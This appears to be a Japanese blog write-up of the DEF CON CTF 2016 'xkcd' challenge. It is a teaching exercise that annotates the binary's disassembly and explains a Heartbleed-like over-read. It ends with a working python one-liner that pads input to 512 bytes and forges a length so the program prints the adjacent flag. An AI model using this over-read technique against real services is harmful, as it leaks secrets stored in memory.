Eyes, JAPAN Blog > DEF CON CTF 2016 xkcd解いてみた

DEF CON CTF 2016 xkcd解いてみた

Seiya Kobayashi

この記事は1年以上前に書かれたもので、内容が古い可能性がありますのでご注意ください。

こんにちは、アルバイトの小林です。

今回は DEFCON CTF 2016 の xkcd という問題を解いて見ました。
問題ファイル

$ file xkcd
xkcd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, not stripped
$ checksec xkcd
[*] '/home/ubuntu/ctfs/pwn-practice/xkcd/xkcd'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled // メモリ上の実行する必要のないデータを実行不可能に設定して、不正に実行されるのを防ぐ
    PIE:      No PIE (0x400000)

flagファイルがないと動きません

ubuntu@ubuntu-xenial ~/c/p/xkcd> ./xkcd
Could not open the flag.

適当に作って動かします(本番ではサーバにある)


    ubuntu@ubuntu-xenial ~/c/p/xkcd echo 'flag{flag}' > flag
    ubuntu@ubuntu-xenial ~/c/p/xkcd ./xkcd
    A
    MALFORMED REQUEST

解析

0000000000400faf0x6b7540 にファイルをopen

main:
0000000000400f5e         push       rbp ; Begin of unwind block (FDE at 0x4a689c), DATA XREF=_start+29
0000000000400f5f         mov        rbp, rsp
0000000000400f62         push       rbx
0000000000400f63         sub        rsp, 0x38
0000000000400f67         mov        dword [rbp+var_34], edi
0000000000400f6a         mov        qword [rbp+var_40], rsi
0000000000400f6e         mov        rax, qword [_IO_stdout] ; _IO_stdout
0000000000400f75         mov        ecx, 0x0
0000000000400f7a         mov        edx, 0x2
0000000000400f7f         mov        esi, 0x0 ; argument #2 for method _IO_setvbuf
0000000000400f84         mov        rdi, rax ; argument #1 for method _IO_setvbuf
0000000000400f87         call       _IO_setvbuf ; _IO_setvbuf
0000000000400f8c         mov        rax, qword [_IO_stdin] ; _IO_stdin
0000000000400f93         mov        ecx, 0x0
0000000000400f98         mov        edx, 0x2
0000000000400f9d         mov        esi, 0x0 ; argument #2 for method _IO_setvbuf
0000000000400fa2         mov        rdi, rax ; argument #1 for method _IO_setvbuf
0000000000400fa5         call       _IO_setvbuf ; _IO_setvbuf
0000000000400faa         mov        esi, 0x100 ; argument "n" for method bzero
0000000000400faf         mov        edi, 0x6b7540 ; argument "s" for method bzero
0000000000400fb4         call       bzero ; bzero
0000000000400fb9         mov        esi, 0x487de4 ; argument #2 for method fopen64
0000000000400fbe         mov        edi, 0x487de6 ; argument #1 for method fopen64
0000000000400fc3         call       fopen64 ; fopen64
0000000000400fc8         mov        qword [rbp+var_18], rax
0000000000400fcc         cmp        qword [rbp+var_18], 0x0
0000000000400fd1         jne        loc_400fe7

受け取った文字列を?で区切った前半を"SERVER, ARE YOU STILL THERE”と比較

000000000040101f         mov        qword [rbp+var_20], rax
0000000000401023         mov        rax, qword [rbp+var_20]
0000000000401027         mov        esi, 0x487e04 ; argument "sep" for method strtok
000000000040102c         mov        rdi, rax ; argument "str" for method strtok
000000000040102f         mov        eax, 0x0
0000000000401034         call       strtok ; strtok
0000000000401039         cdqe
000000000040103b         mov        qword [rbp+var_28], rax
000000000040103f         mov        rax, qword [rbp+var_28]
0000000000401043         mov        esi, aServerAreYouSt ; "SERVER, ARE YOU STILL THERE"
0000000000401048         mov        rdi, rax
000000000040104b         call       sub_4002d0 ; sub_4002d0
0000000000401050         test       eax, eax
0000000000401052         je         loc_401068

?で区切った後半を”で区切った前半を“ IF SO, REPLY “と比較

loc_401068:
0000000000401068         mov        esi, 0x487e34 ; argument "sep" for method strtok, CODE XREF=main+244
000000000040106d         mov        edi, 0x0 ; argument "str" for method strtok
0000000000401072         mov        eax, 0x0
0000000000401077         call       strtok ; strtok
000000000040107c         cdqe
000000000040107e         mov        qword [rbp+var_28], rax
0000000000401082         mov        rax, qword [rbp+var_28]
0000000000401086         mov        esi, aIfSoReply ; " IF SO, REPLY "
000000000040108b         mov        rdi, rax
000000000040108e         call       sub_4002d0 ; sub_4002d0
0000000000401093         test       eax, eax
0000000000401095         je         loc_4010ab

区切った残りを”で区切って0x6b7340(フラグの512バイト前(0x6b7540-0x6b7340))にコピー

00000000004010ab         mov        esi, 0x487e34 ; CODE XREF=main+311
00000000004010b0         mov        edi, 0x0 ; argument for method strtok
00000000004010b5         mov        eax, 0x0
00000000004010ba         call       strtok ; strtok " で区切る"
00000000004010bf         cdqe
00000000004010c1         mov        qword [rbp+var_28], rax
00000000004010c5         mov        rax, qword [rbp+var_28]
00000000004010c9         mov        rdi, rax ; argument "s" for method strlen
00000000004010cc         call       strlen ; strlen
00000000004010d1         mov        rdx, rax ; argument "n" for method memcpy
00000000004010d4         mov        rax, qword [rbp+var_28]
00000000004010d8         mov        rsi, rax ; argument "src" for method memcpy
00000000004010db         mov        edi, 0x6b7340 ; argument "dst" for method memcpy
00000000004010e0         call       memcpy ; memcpy 

()内の数字を読み取り, flag先頭-512+読み取った数字のアドレスにnull文字設定して終端

00000000004010e5         mov        esi, 0x487e45 ; argument "sep" for method strtok
00000000004010ea         mov        edi, 0x0 ; argument "str" for method strtok
00000000004010ef         mov        eax, 0x0
00000000004010f4         call       strtok ; strtok ( で区切る
00000000004010f9         cdqe
00000000004010fb         mov        qword [rbp+var_28], rax
00000000004010ff         mov        esi, 0x487e47 ; argument "sep" for method strtok
0000000000401104         mov        edi, 0x0 ; argument "str" for method strtok
0000000000401109         mov        eax, 0x0
000000000040110e         call       strtok ; strtok ) で区切る
0000000000401113         cdqe
0000000000401115         mov        qword [rbp+var_28], rax
0000000000401119         lea        rdx, qword [rbp+var_2C]
000000000040111d         mov        rax, qword [rbp+var_28]
0000000000401121         mov        esi, aDLetters ; "%d LETTERS"
0000000000401126         mov        rdi, rax
0000000000401129         mov        eax, 0x0
000000000040112e         call       __isoc99_sscanf ; __isoc99_sscanf
0000000000401133         mov        eax, dword [rbp+var_2C]
0000000000401136         cdqe
0000000000401138         mov        byte [rax+globals], 0x0
000000000040113f         mov        eax, dword [rbp+var_2C]
0000000000401142         movsxd     rbx, eax
0000000000401145         mov        edi, globals ; argument "s" for method strlen
000000000040114a         call       strlen ; strlen
000000000040114f         cmp        rbx, rax
0000000000401152         jbe        loc_401168

512バイト分の文字列を送って、flagの先頭と繋げれば、flagまでが文字列と解釈されflagも表示される。
()内の数字はflagの長さに合わせます

$ python -c 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" + "A" * 512 + "\" (523 LETTERS)"'  | ./xkcd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag{flag}

Comments are closed.